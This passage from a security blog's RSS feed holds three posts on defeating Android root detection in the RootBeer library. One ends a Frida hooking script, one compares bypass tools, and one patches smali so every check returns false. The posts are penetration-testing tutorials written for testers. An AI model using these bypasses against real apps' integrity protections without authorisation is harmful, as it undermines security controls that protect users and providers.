<br>    RootBeer.detectRootCloakingApps.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    Utils.isSelinuxFlagInEnabled.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForMagiskBinary.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.isRooted.overload().implementation = function(){<br>        return false;<br>    };<br>});</pre><blockquote><strong>Tip:</strong> You can edit and save your script while Frida is running. This way, you don’t have to keep executing the same Frida command every time.</blockquote><p>After loading the above script with Frida and running the application, it can be seen that all checks were bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RvGO2QtrG6TKe2hpcOUCMQ.png" /><figcaption>Successfully Bypassed All RootBeer’s Checks</figcaption></figure><h3>Final Thoughts</h3><p>It should be noted that Frida will not work at all times as there are applications which use protections, such as anti-tampering and anti-reversing techniques, that will detect Frida’s presence. If this is the case, you need to find a way to bypass these additional protections first or look for another method which does not involve Frida.</p><p>Lastly, if you’re not confident in writing your own Frida script, do not worry because there are ready-to-use Frida scripts which are hosted in <a href="https://codeshare.frida.re/browse"><strong>Frida CodeShare</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30beb0676c0b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/bypassing-androids-rootbeer-library-part-2-30beb0676c0b">Bypassing Android’s RootBeer Library (Part 2)</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comparison of Different Android Root-Detection Bypass Tools]]></title>
            <link>https://medium.com/secarmalabs/comparison-of-different-android-root-detection-bypass-tools-8fd477251640?source=rss----7dd691680f4a---4</link>
            <guid isPermaLink="false">https://medium.com/p/8fd477251640</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[Elvin Gentiles]]></dc:creator>
            <pubDate>Wed, 27 May 2020 22:33:22 GMT</pubDate>
            <atom:updated>2020-05-27T22:33:22.020Z</atom:updated>
            <content:encoded><![CDATA[<p>When testing Android applications, it is recommended to use a rooted device to perform the assessment efficiently and thoroughly. However, some applications have an additional layer of protection, which prevents an application from running on a rooted device. When presented with this scenario, one of the restrictions a tester need to overcome is the root-detection mechanism used by the application.</p><p>Several tools already exist to defeat an application’s root-detection mechanisms. But which one performs best? To answer this question, I decided to perform a comparison between these root-detection bypass tools. The goal of this experiment is to identify which tool performs best and to help analysts to have a “go-to” tool when bypassing an app’s root-detection implementation.</p><p>The target application used here is <a href="https://play.google.com/store/apps/details?id=com.scottyab.rootbeer.sample&amp;hl=en"><strong>RootBeer Sample (v0.8)</strong></a>; a sample app which utilises <a href="https://github.com/scottyab/rootbeer"><strong>RootBeer</strong></a> library.</p><h3>What is RootBeer?</h3><p><a href="https://github.com/scottyab/rootbeer"><strong>RootBeer</strong></a> is an open-source library which can be used by developers to verify the integrity of an Android device and check whether it is rooted or not. RootBeer performs the following checks as an indication of root:</p><ul><li>Presence of apps used to manage superuser/root access <em>(e.g. “eu.chainfire.supersu” and “com.topjohnwu.magisk”)</em></li><li>Installation of apps that require root <em>(e.g. “com.keramidas.TitaniumBackup” and “com.chelpus.luckypatcher”)</em></li><li>Detection of root-cloaking apps which can hide the root status of a device <em>(e.g. “com.devadvance.rootcloak2”)</em></li><li>Review of the build properties (android.os.Build.TAGS) for test-keys</li><li>Locations of binaries, such as busybox and su, which are usually present in a rooted device <em>(e.g. &quot;/system/xbin/&quot; and &quot;/su/bin/&quot;)</em></li><li>Analysis of system folders that should not be writable <em>(e.g. “/system”)</em></li><li>Look up of system properties that can only be changed when the device is rooted <em>(e.g. “ro.debuggable” and “ro.secure”)</em></li></ul><h3>Test Setup</h3><p>The following Android device was used for this experiment:</p><ul><li><strong>Device:</strong> Lenovo P8 (TB-8703F)</li><li><strong>Android Version:</strong> Pie (9.0)</li><li><strong>ROM:</strong> PixelExperience</li></ul><p>This device was installed with the following applications which use and require root permissions:</p><ul><li><a href="https://github.com/topjohnwu/Magisk">Magisk</a></li><li><a href="https://github.com/ElderDrivers/EdXposed">EdXposed</a></li><li><a href="https://play.google.com/store/apps/details?id=ru.meefik.busybox">BusyBox</a></li><li><a href="https://play.google.com/store/apps/details?id=com.keramidas.TitaniumBackup">Titanium Backup</a></li><li><a href="https://www.luckypatchers.com/">Lucky Patcher</a></li><li><a href="https://f-droid.org/en/packages/com.matoski.adbm/">ADBManager</a></li></ul><p>As a baseline for this experiment, <strong>RootBeer Sample</strong> was executed without any root-detection bypass tool used. Using this setup, 6/11 checks failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zhzbOR_g6UpovzIBcrpDLg.png" /><figcaption>Result Taken from the Baseline Setup (6/11)</figcaption></figure><h3>Root-Detection Bypass Tools</h3><p>This experiment only covered the following well-known and open-source root-detection bypass tools:</p><ul><li><a href="https://repo.xposed.info/module/com.devadvance.rootcloak2">RootCloak</a></li><li><a href="https://github.com/jakev/unrootbeer">UnRootBeer</a></li><li><a href="https://codeshare.frida.re/@dzonerzy/fridantiroot/">Fridantiroot</a></li><li><a href="https://github.com/sensepost/objection">Objection</a></li><li><a href="https://github.com/topjohnwu/Magisk">Magisk</a></li><li><a href="https://www.didgeridoohan.com/magisk/MagiskHide">MagiskHide</a></li></ul><h4><strong>Tool #1: RootCloak</strong></h4><p><a href="https://repo.xposed.info/module/com.devadvance.rootcloak2">RootCloak</a> is a very popular Xposed module that can be used to hide the root status of a device. Even though the module’s repo page states “<em>with 5.x and 6.x support</em>” and my device was running Android 9.0, I still tried it.</p><p>RootCloak is very simple to use. Just add the target application (<strong>RootBeer Sample</strong> in this case) and you’re good to go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uPIyaGgomgCNqZbH0mFrcA.png" /><figcaption>Adding RootBeer Sample to RootCloak</figcaption></figure><p>Surprisingly, RootCloak bypassed some checks used by RootBeer library. Even though there’s no official statement that the module supports Android 9.0, it still worked. Using RootCloak, 7/11 checks were bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JqZcOv8st8ZL90bPy-fgZQ.png" /><figcaption>RootCloak Result (7/11)</figcaption></figure><h4><strong>Tool #2: UnRootBeer</strong></h4><p>The next tool is <a href="https://github.com/jakev/unrootbeer">UnRootBeer</a>, which is another Xposed module specifically developed to disable the checks performed by RootBeer library. To use this tool, just install the <a href="https://github.com/jakev/unrootbeer/raw/master/out/jakev.unrootbeer-debug.apk">APK file</a>, and reboot the device to activate the module.</p><p>As seen from the result below, UnRootBeer performed better than RootCloak as it passed 8/11 checks. While this tool was specifically developed to bypass the checks being performed by RootBeer library, it is not surprising that it failed some checks because this tool has not been updated for quite some time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hclWr6lxHG6TfCPPJs-HFA.png" /><figcaption>UnRootBeer Result (8/11)</figcaption></figure><blockquote>Be wary though because while three checks failed, the result still says <strong>NOT ROOTED</strong>. The goal of this experiment is to pass all RootBeer library checks.</blockquote><h4><strong>Tool #3: Fridantiroot</strong></h4><p>The next tool involves <a href="https://frida.re/">Frida</a>, which is a dynamic instrumentation toolkit that can be used to tamper an application’s process. For this experiment, the publicly available JS script (<a href="https://codeshare.frida.re/@dzonerzy/fridantiroot/">Fridantiroot</a>) was used. However, this script didn’t work on my device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QOj8OrLFfH6JTvSvRZ1OAA.png" /><figcaption>Error Upon Running Fridantiroot</figcaption></figure><p>Luckily, I found a <a href="https://gist.github.com/pich4ya/0b2a8592d3c8d5df9c34b8d185d2ea35">modified version of Fridantiroot</a> which worked on my device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5nqLJSB40h-tPuaRwswcw.png" /><figcaption>Running the Modified Version of Fridantiroot</figcaption></figure><p>The result was very surprising because it almost passed all the checks, with a score of 10/11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bON3yWy6YNXadBlbywPujQ.png" /><figcaption>Fridantiroot Result (10/11)</figcaption></figure><blockquote>Please note that one of the checks failed and yet the app still considered it as <strong>NOT ROOTED</strong>.</blockquote><h4><strong>Tool #4: Objection</strong></h4><p><a href="https://github.com/sensepost/objection">Objection</a> is a runtime toolkit, powered by Frida. Using the command android root disable, objection will attempt to bypass an app&#39;s root-detection mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q70QfPlNUh-aTrO5bv0tHQ.png" /><figcaption>Running Objection’s “android root disable” Command</figcaption></figure><p>As seen below, objection’s root-detection bypass command didn’t provide a pleasing result, as it only passed 5 out of 11 checks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0e_cHafu73-xwzKvnjEF5w.png" /><figcaption>Objection Result (5/11)</figcaption></figure><h4><strong>Tool #5: Magisk Hide</strong></h4><p>One of the features of <a href="https://github.com/topjohnwu/Magisk">Magisk</a> is <a href="https://www.didgeridoohan.com/magisk/MagiskHide">Magisk Hide</a>, which can be used to bypass root-detection and system integrity checks.</p><p>Since Magisk v20.4, Magisk Hide is disabled by default. To enable this feature, open <strong><em>Magisk Manager</em></strong>, click <strong><em>Settings</em></strong> from the sidebar, toggle ON the <strong><em>Magisk Hide</em></strong> option, and restart the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wINAnwWFhcbiA8V2sM5A0Q.png" /><figcaption>Enabling Magisk Hide</figcaption></figure><blockquote>Take note that <strong>Magisk Hide</strong> and <strong>Frida</strong> do not work well together. To use one of them, the other one must be disabled first.</blockquote><p>Bypassing an app’s root-detection mechanism is as simple as adding the app to the Hide list (just like in RootCloak).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XCN6FI6L0ijjbhoZytujaQ.png" /><figcaption>Adding RootBeer Sample to Magisk Hide List</figcaption></figure><p>After adding <strong>RootBeer Sample</strong> to Magisk Hide, the result was a near-perfect score, with 10 out of 11 checks passed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pceVoOGrOnL-BYMzS95TjA.png" /><figcaption>MagiskHide Result (10/11)</figcaption></figure><h4><strong>Tool #5: Hiding Magisk Manager</strong></h4><p>Looking back at the result of using Magisk Hide, only the first check (Root Management Apps) failed. This was because one of the checks used by RootBeer library is to look for the presence of root management apps, such as <strong>Magisk Manager</strong> (com.topjohnwu.magisk).</p><p>Since Magisk v20.1, a new feature was introduced that could repackage Magisk Manager with a random package and app names. To use this feature, click the <strong><em>Settings</em></strong> option from the sidebar, click the <strong><em>Hide Magisk Manager</em></strong> option, and select Magisk Manager’s new app name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2g2-Npw1x1xTADHgK_8-Og.png" /><figcaption>Hiding Magisk Manager</figcaption></figure><p>After doing the above steps and using this feature, Magisk Manager’s package name changed to a random one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RCB054fJ5FnauDlGM6H3kg.png" /><figcaption>Before and After Hiding Magisk Manager</figcaption></figure><p>So how did it perform? Well, it did not do well and only 7 checks passed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dotc8ZLnvy9jT1SbTfxteg.png" /><figcaption>“Hide Magisk Manager” Result (7/11)</figcaption></figure><h4><strong>Tool #5: Magisk Hide + Hiding Magisk Manager</strong></h4><p>Since Magisk Hide and Hide Magisk Manager are both features of Magisk, why not use both features at the same time? It turned out that this was what we’re aiming for. The result was outstanding! The result stating that it is <strong>NOT ROOTED</strong> was valid since all checks passed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IbHw7O2je18V57GJ4D6yCg.png" /><figcaption>Magisk Hide + Hiding Magisk Manager Result (11/11)</figcaption></figure><h3>Results</h3><p>For ease of viewing, the following table summarizes the results obtained from this experiment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVhaVDKuEH054CfcL7zdTg.png" /><figcaption>Summary of Results</figcaption></figure><p>Among all the tools covered in this experiment, only Magisk’s features (Magisk Hide and Hiding Magisk Manager) gave the best result.</p><h3>Final Thoughts</h3><p>While the goal of this experiment is to have a “go-to” tool when bypassing root-detection mechanisms, testers should be aware that the results gathered here will not always be the same against every application. This is because app developers can modify and improve the RootBeer library by adding more checks, or they could use their custom anti-root solutions. Thus, I encourage analysts to also learn how to reverse engineer an application and bypass an app’s root-detection manually.</p><p>Lastly, no root-detection mechanism can ever be perfect. That’s why it is recommended to implement additional security measures to make a bypass more difficult to achieve. Such measures include the use of run-time protections, as well as anti-reversing and anti-tampering solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fd477251640" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/comparison-of-different-android-root-detection-bypass-tools-8fd477251640">Comparison of Different Android Root-Detection Bypass Tools</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Android’s RootBeer Library (Part 1)]]></title>
            <link>https://medium.com/secarmalabs/bypassing-androids-rootbeer-library-part-1-a5f93918660d?source=rss----7dd691680f4a---4</link>
            <guid isPermaLink="false">https://medium.com/p/a5f93918660d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[root-android-phone]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[Elvin Gentiles]]></dc:creator>
            <pubDate>Wed, 27 May 2020 11:45:48 GMT</pubDate>
            <atom:updated>2020-06-08T13:11:05.138Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bypassing Android’s RootBeer Library — Part 1</h3><p>In my previous post, I made a comparison between the different well-known and open-source root-detection bypass tools for Android. In that post, I encouraged analysts to learn how to reverse engineer an application and bypass an application’s protection manually.</p><p>This post is a follow up on how to bypass the different checks used by RootBeer library by changing the application’s process through code manipulation.</p><p>Before you could modify an application’s code, you need to first have a copy of the APK file. After downloading the application (<a href="https://play.google.com/store/apps/details?id=com.scottyab.rootbeer.sample"><strong>RootBeer Sample</strong></a>) from the Play Store, the following series of commands can be used to extract the APK file from the Android device:</p><pre>$ adb shell pm path com.scottyab.rootbeer.sample<br>$ adb pull &lt;apk-path&gt;</pre><p>If you’re like me and do not like typing series of commands, the easiest way to retrieve an APK file from a device is by using <a href="https://github.com/Hamz-a/frida-android-helper"><strong>Frida Android Helper</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6lw53U4pfqvTkCU4UB-mQ.png" /><figcaption>Retrieving an Application’s APK File with Frida Android Helper</figcaption></figure><p>Once you have a copy of the APK file, decompile it using <a href="https://ibotpeaches.github.io/Apktool/"><strong>apktool</strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*JDa6ptcrntsW8XXRsOlpeg.png" /><figcaption>Decompiling the APK File with apktool</figcaption></figure><blockquote><strong>Tip 1:</strong> Sometimes, rebuilding a decompiled application results in an error. One way to fix that error is by removing the file <strong>1.apk </strong>(shown above) before rebuilding the app.</blockquote><blockquote><strong>Tip 2: </strong>If an error related to “resources” shows during the building process, try excluding the resources during the decompilation by using the -r flag (shown below).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*LwgqNvLk5RaSwaxh5G1c5w.png" /><figcaption>Excluding Resources During Decompilation</figcaption></figure><p>Reading smali code is not as easy as reading java code. So if you’re not comfortable with smali, you can open the APK file in <a href="https://github.com/skylot/jadx"><strong>jadx-gui</strong></a><strong> </strong>to view its java equivalent and use it as a reference to gain better understanding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dX8S8VtvbHz8il41pNn7kg.png" /><figcaption>Using jadx-gui to Analyse an Application’s Code</figcaption></figure><p>Looking at the <strong>RootBeer</strong> (<em>com.scottyab.rootbeer.RootBeer</em>) class, there exists a function called <strong><em>isRooted()</em></strong> which, as per its name, is responsible for identifying whether the device is rooted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*I0TPMil15SHfjyW7ZSNe3g.png" /><figcaption>Snippet of the <strong>RootBeer </strong>Class</figcaption></figure><p>The equivalent smali code of this class is located in /decompiled/smali/com/scottyab/rootber/RootBeer.smali. From this smali code, the <strong><em>isRooted()</em></strong><em> </em>function is located on line <strong>1084 </strong>(as shown below):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPyVrNC1QyaZ8UNGLYU5iQ.png" /><figcaption>Snippet of the isRooted Function</figcaption></figure><p>On line <strong>1158</strong>, it can be seen that the <strong><em>isRooted()</em></strong> function returns whatever value the variable v0 holds. To force this function to return the value of <strong>false</strong>, just change the value of the variable v0from <strong>0x1 </strong>to <strong>0x0 </strong>(shown in line <strong>1155</strong>):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*8TC8Si-DioeCwUSyvPo53w.png" /><figcaption>Forcing isRooted() Function to Return “False”</figcaption></figure><p>After doing the necessary changes, rebuild the application using apktool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*pQbf2hPqn2_QSJlRcXIoOw.png" /><figcaption>Rebuilding the Modified Application</figcaption></figure><p>Before installing the application, make sure to sign it using your own certificate or a debug certificate. To sign the application easily, you can use <a href="https://github.com/patrickfav/uber-apk-signer"><strong>uber-apk-signer</strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*6DHLlBOd0na7WCDOe8csWg.png" /><figcaption>Signing the Application with a Debug Certificate</figcaption></figure><p>Using the modified application, it can be seen that we’ve successfully forced the result to “<strong>NOT ROOTED”</strong> (see the right image below). However, nothing changed with the different checks used by RootBeer; some of the checks still failed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GM-yP__l_fgGluhoGb_F7g.png" /><figcaption>Result of Modifying the APK File</figcaption></figure><p>This happened because we only modified one function of the application and forced it to return as “<strong>NOT ROOTED”</strong>. To pass all the checks used by the RootBeer library, we need to modify and bypass all the relevant functions.</p><p>So how can we find all these functions? If we look at the <strong>RootCheckTask</strong> (<em>com.scottyab.rootbeer.sample.CheckRootTask</em>) class, there’s a function called <strong><em>doInBackground()</em></strong> which can be used to identify the different functions/checks used by RootBeer. This list of functions can be used as a reference to determine which smali code/files to modify:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKuS4LbyMsuQfllgPpOHjg.png" /><figcaption>A Snippet of the Different Functions Used by RootBeer</figcaption></figure><p>The following lists the changes that were made to the relevant classes and functions to bypass all of RootBeer’s checks.</p><blockquote><strong>Note: bold </strong>text in the code snippets below signifies the changes that were made.</blockquote><h4><strong>RootBeer</strong> <strong>(<em>com.scottyab.rootbeer.RootBeer</em>)</strong> Class</h4><ul><li><strong><em>detectRootManagementApps()</em></strong><em> — </em>inserted return v0.</li></ul><pre>.method public detectRootManagementApps()Z<br>    .locals 1</pre><pre>    const/4 v0, 0x0<br>    <strong>return v0</strong></pre><pre>[...]</pre><ul><li><strong><em>detectPotentiallyDangerousApps() </em></strong><em>— </em>inserted return v0.</li></ul><pre>.method public detectPotentiallyDangerousApps()Z<br>    .locals 1</pre><pre>    const/4 v0, 0x0<br><strong>    return v0</strong></pre><pre>[...]</pre><ul><li><strong><em>detectTestKeys()</em></strong><em> — </em>changed const/4 v0, 0x1 to const/4 v0, 0x0.</li></ul><pre>.method public detectTestKeys()Z<br>[...]</pre><pre>    const/4 v0, 0x0</pre><pre>    goto :goto_0</pre><pre>    :cond_0<br>    <strong>const/4 v0, 0x0</strong></pre><pre>    :goto_0<br>    return v0</pre><ul><li><strong><em>checkForBusyBoxBinary()</em></strong><em> — </em>changed move-result v0 to const/4 v0, 0x0.</li></ul><pre>.method public checkForBusyBoxBinary()Z<br>[...]</pre><pre>    <strong>const/4 v0, 0x0</strong></pre><pre>    return v0<br>.end method</pre><ul><li><strong><em>checkForSuBinary() </em></strong><em>— </em>changed move-result v0 to const/4 v0, 0x0.</li></ul><pre>.method public checkForSuBinary()Z<br>[...snipped...]</pre><pre>    <strong>const/4 v0, 0x0</strong></pre><pre>    return v0<br>.end method</pre><ul><li><strong>checkSuExists()</strong><em> — </em>inserted return v0.</li></ul><pre>.method public checkSuExists()Z<br>    .locals 6</pre><pre>    const/4 v0, 0x0<br>    <strong>return v0</strong><br>    const/4 v1, 0x0</pre><pre>[...]</pre><ul><li><strong><em>checkForRWPaths()</em></strong> —inserted return v1.</li></ul><pre>.method public checkForRWPaths()Z<br>    .locals 16</pre><pre>    .line 301<br>    invoke-direct/range {p0 .. p0}, Lcom/scottyab/rootbeer/RootBeer;-&gt;mountReader()[Ljava/lang/String;</pre><pre>    move-result-object v0</pre><pre>    const/4 v1, 0x0<br>    <strong>return v1</strong></pre><pre>[...]</pre><ul><li><strong><em>checkForDangerousProps() </em></strong>— changed const/4 v4, 0x1 to const/4 v4, 0x0.</li></ul><pre>.method public checkForDangerousProps()Z<br>[...]</pre><pre>    invoke-static {v4}, Lcom/scottyab/rootbeer/util/QLog;-&gt;v(Ljava/lang/Object;)V</pre><pre>    <strong>const/4 v4, 0x0</strong></pre><pre>    goto :goto_1</pre><pre>    :cond_2<br>    add-int/lit8 v2, v2, 0x1</pre><pre>    goto :goto_0</pre><pre>    :cond_3<br>    return v4<br>.end method</pre><ul><li><strong><em>checkForRootNative()</em></strong> — changed const/4 v1, 0x1 to const/4 v1, 0x0.</li></ul><pre>.method public checkForRootNative()Z<br>[...]</pre><pre>    if-lez v0, :cond_2</pre><pre>    <strong>const/4 v1, 0x0</strong></pre><pre>    :catch_0<br>    :cond_2<br>    return v1<br>.end method</pre><ul><li><strong><em>detectRootCloakingApps()</em></strong> — changed const/4 v0, 0x1 to const/4 v0, 0x0.</li></ul><pre>.method public detectRootCloakingApps()Z<br>[...]</pre><pre>    :cond_1<br>    :goto_0<br>    <strong>const/4 v0, 0x0</strong></pre><pre>    :goto_1<br>    return v0<br>.end method</pre><ul><li><strong>checkForMagiskBinary()</strong> — changed move-result v0 to const/4 v0, 0x0.</li></ul><pre>.method public checkForMagiskBinary()Z<br>[...]</pre><pre>    <strong>const/4 v0, 0x0</strong></pre><pre>    return v0<br>.end method</pre><h4>Utils (com.scottyab.rootbeer.util) Class</h4><ul><li><strong><em>isSelinuxFlagInEnabled()</em></strong> — inserted return v0.</li></ul><pre>.method public static isSelinuxFlagInEnabled()Z<br>    .locals 6</pre><pre>    const/4 v0, 0x0<br>    <strong>return v0</strong><br>[...]</pre><p>After doing the above changes, the last thing to do is to rebuild, resign, and re-install the modified application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ID4wQ67334M-QKc6pqdhjA.png" /><figcaption>Rebuilding, Resigning, and Re-installing the Modified Application</figcaption></figure><p>Though the process of modifying the application’s code took quite some time, it’s worth the effort as it resulted in all the checks being bypassed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8RRiQIdpn_AW3CXcQZDXQ.png" /><figcaption>Successfully Bypassed All RootBeer’s Checks</figcaption></figure><h3>Final Thoughts</h3><p>The way I modified the application’s code <em>(e.g. inserting </em><em>return v0 after a few lines of the beginning of a function)</em> is not the only way to do it. We all think differently and each of us could come up with different ways on how to solve a problem. So it doesn’t matter how you do your modifications as long as you’re getting the results that you’re aiming for.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5f93918660d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/bypassing-androids-rootbeer-library-part-1-a5f93918660d">Bypassing Android’s RootBeer Library (Part 1)</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>